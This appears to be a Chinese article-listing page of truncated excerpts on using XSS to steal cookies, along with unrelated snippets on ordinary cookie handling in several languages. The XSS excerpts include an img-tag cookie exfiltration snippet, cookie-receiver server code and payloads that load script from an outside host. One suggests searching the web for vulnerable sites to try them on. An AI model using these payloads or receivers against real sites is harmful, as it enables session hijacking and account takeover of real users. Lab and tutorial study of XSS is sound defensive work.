xss除了获取cookie还能干什么

2024-11-09

XSS的各种用途

0x01 最常见之窃取用户cookie 当cookie没有设置HttpOnly属性时,可以通过javascript代码创建img,script,iframe等标签,并把src属性设置为自己部署的xss cookie接收平台,以url拼接document.cookie的形式把浏览页面的用户的cookie传递给自己因为https的网站默认不能加载http的js,所以一般都会创建img标签 var i = document.createElement('img');i.src = 'http://你

【web安全】第一弹：利用xss注入获取cookie

首先一定要先来吐槽一下tipask系统.这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御. 言归正传: [准备1] cookie接收服务器. 平时喜欢用sae,所以在sae上写了一个get方法传值的页面,获取到的数据存储进数据库. 数据表结构很简单其中time,ip,pre_url都可以没有. 页面代码如下实际应用像下面这样: 访问链接:http://xxx.sinaapp.com/?cookie=xxxx; xxxx的内容就会自动存入数据库. [准备2]利用xs

简单利用XSS获取Cookie信息实例演示

简单利用XSS获取Cookie信息实例演示首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高.随便找一个,先<script>alert('xxs')</script>一下.呵呵,框框出来了再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图: 这里就是要把弹出来框框里的东西收集到我们的记事本里.这里,要玩这个步骤就需要

DVWA上low级别反射型，存储型，DOM型XSS攻击获取用户cookie

1.什么是反射型 XSS 攻击? 反射型 XSS 是指应用程序通过 Web 请求获取不可信赖的数据,并在未检验数据是否存在恶意代码的情况下,将其发送给用户. 反射型 XSS 一般可以由攻击者构造带有恶意代码参数的 URL 来实现,在构造的URL 地址被打开后,其中包含的恶意代码参数被浏览器解析和执行. 2 cookie能干嘛 Cookie可以保持登录信息到用户下次与服务器的会话,换句话说,下次访问同一网站时,用户会发现不必输入用户名和密码就已经登录了实验主机已经搭建好DVWA靶场环境的win1

构造个人轻量级XSS平台获取管理员cookie并登录

一.前言本平台是个人轻量级XSS测试平台,仅作为练习参考. 二.实验环境服务器操作系统:Centos 7 Web容器:Apache 三.平台搭建过程安装Apache 安装PHP 安装Git工具从GitHub克隆XSS平台源码 # 删除默认网站内容 rm -rf /var/www/* # 创建新的网站目录 mkdir /var/www/xss 从GitHub克隆xss测试源码(https://github.com/firesunCN/BlueLotus_XSSReceiver.git

XSS获取cookie并利用

获取cookie利用代码cookie.asp <html> <title>xx</title> <body> <%testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中 msg = Request("msg") //获取提交过来的msg变量,也就是cookie值 set fs = ser

除了获取 MAC 地址还能干啥

以前写过一篇<在Web中获取MAC地址>的文章,文章的地址是:https://www.cnblogs.com/tosser/p/9022187.html,我当时使用 OCX 来实现,可是 OCX 只支持 IE 浏览器,后来在往上找了一个 Chrome 的扩展,也解决了该问题.不过,总觉得无论使用 OCX 还是使用 Chrome 的扩展,都是浏览器相关的,并不通用.后来,使用 Socket 写了一个简单的 DEMO,用来模拟 HTTP 服务器,然后使用 Ajax 进行通信,问题解

风炫安全WEB安全学习第二十三节课利用XSS获取COOKIE

风炫安全WEB安全学习第二十三节课利用XSS获取COOKIE XSS如何利用获取COOKIE 我们使用pikachu写的pkxss后台使用方法: <img src="http://fx.com/pikachu/pkxss/xfish/xfish.php" /> <script src="http://fx.com/pikachu/pkxss/xfish/xfish.php"></script> 参考: http://blog

XSS,CSRF，Cookie防劫持的处理

Cookie与sessionHTTP天然是无状态的协议, 为了维持和跟踪用户的状态, 引入了Cookie和Session. Cookie包含了浏览器客户端的用户凭证, 相对较小. Session则维护在服务器, 用于维护相对较大的用户信息. 用通俗的语言, Cookie是钥匙, Session是锁芯. Cookie简单理解就是钥匙, 每次去服务端获取资源, 需要带着这把钥匙, 只有自己的锁芯(资源), 才能打开.. 但是如果钥匙被别人拿了, 那别人就可以冒充你的身份, 去打开你的锁芯, 从而获取

Cookie的使用、Cookie详解、HTTP cookies 详解、获取cookie的方法、客户端获取Cookie、深入解析cookie

Cookie是指某些网站为了辨别用户身份.进行session跟踪而存储在用户本地终端上的数据(通常经过加密),比如说有些网站需要登录才能访问某个页面,在登录之前,你想抓取某个页面内容是不允许的.那么我们可以利用urllib2库保存我们登录的Cookie,然后再抓取其他页面就达到了目的了. Opener 当你获取一个url,你使用一个opener(一个urllib2.OpenerDirector的实例).在前面,我们都是使用的默认的opener,也就是urlopen.它是一个特殊的opener,可

js获取cookie中存储的值

最近看了试卷题目发现自己会的十分的匮乏, 第一题就把自己难住了,知道有这个东西,但是实际上没有操作过. ========================================= cookie是浏览器提供的一种机制,它将document 对象的cookie属性提供给JavaScript.可以由JavaScript对其进行控制,而并不是JavaScript本身的性质.cookie是存于用户硬盘的一个文件,这个文件通常对应于一个域名,当浏览器再次访问这个域名时,便使这个cookie可用.因此

Java通过httpclient获取cookie模拟登录

package Step1; import org.apache.commons.httpclient.Cookie; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.NameValuePair; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpc

jQuery获取cookie

之前一直以为获取cookie的方法封装在了jQuery包中...没想到还得单独下jquery.cookie.js插件,不太好找,备份一份: /*! * jQuery Cookie Plugin v1.4.1 * https://github.com/carhartl/jquery-cookie * * Copyright 2013 Klaus Hartl * Released under the MIT license */ (function (factory) { if (typeof de

域名变更后获取cookie

有个朋友问我,域名更换后怎么获取原有域名下的cookie,当时第一反应是域名都不存在还怎么获取cookie. 后面想想似乎是可以的,使用新域名后可以保留原有域名,通过jsonp或iframe跨域获取原域名下的cookie即可.

PHP中Cookie的使用---添加/更新/删除/获取Cookie 及自动填写该用户的用户名和密码和判断是否第一次登陆

PHP中Cookie的使用---添加/更新/删除/获取Cookie 及自动填写该用户的用户名和密码和判断是否第一次登陆什么是cookie 服务器在客户端保存用户的信息,比如登录名,密码等这些数据就像小甜饼一样,数据量并不大,服务器端在需要的时候可以从客户端读取,保存在客户端的浏览器缓存目录下 ① 当浏览器访问,cookie.php时,服务器还以Set-Cookie:name=zxf;expire=Wed,21-Sep-2017 20:14 GMT会送http响应,当浏览器获取到该消息

php使用CURL不依赖COOKIEJAR获取COOKIE的方法

本文实例讲述了php使用CURL不依赖COOKIEJAR获取COOKIE的方法.分享给大家供大家参考.具体分析如下: PHP中CURL类是一个非常牛逼的工具类,具体怎么牛逼就不啰嗦了. 对于COOKIE,CURL类也有很不错的支持,但不够灵活,并未能通过现成的方法以变量的方法获取到,而以要通过以下方法实现. // 把COOKIE保存至cookie.txt curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); curl_setopt($ch, CU

在jsp中怎么使用Cookie?el表达式中获取cookie的问题

初学jsp,不清楚cookie的使用方法,希望高手指点一下! 一般来说有两种办法,在JSP中使用Java的嵌入脚本. 例如: 写入Cookie <html> <head>........(中间略) </head> <body> <% String cookieName="Sender"; Cookie cookie=new Cookie(cookieName, "Test_Content"); cookie.

创建和获取cookie

创建和获取cookie 制作人:全心全意 cookie:在互联网中,cookie是小段的文本信息,在网络服务器上生成,并发送给浏览器.通过使用cookie可以标识用户身份,记录用户名和密码,跟踪重复用户等.浏览器将cookie以key/value的形式保存到客户机某个指定目录中. getCookies():获取所有cookie对象的集合getName():获取指定名称的cookiegetValue():获取cookie对象的值测试页面存入和获取cookie页面 <%@ page langu

gin中设置和获取cookie

package main import ( "fmt" "github.com/gin-gonic/gin" ) func main() { router := gin.Default() router.GET("/cookie", func(context *gin.Context) { // 获取cookie cookie, err := context.Cookie("gin_cookie") if err != nil

前端获取cookie，并解析cookie成JSON对象

getCookie() { let strcookie = document.cookie; //获取cookie字符串 let arrcookie = strcookie.split(";"); //分割===多个cookie对象之间会有[:]来分开 // 判断分割完的是数组===如果只有一个cookie对象就无需判断是数组 if (arrcookie instanceof Array) { let itemCookie = ""; // 遍历分割的数组===寻找

js获取cookie

js获取cookie 之前用jQuery.cookie来获取cookie,虽然简单,但是项目上又多引用了一个插件,总觉得不太好,下面是我封装的js原生获取cookie的函数. function getCookie(cookieName) { //获取所有的cookie "psw=1234we; rememberme=true; user=Annie" var totalCookie = document.cookie; //获取参数所在的位置 var cookieStartAt = t

xss除了获取cookie还能干什么

热门专题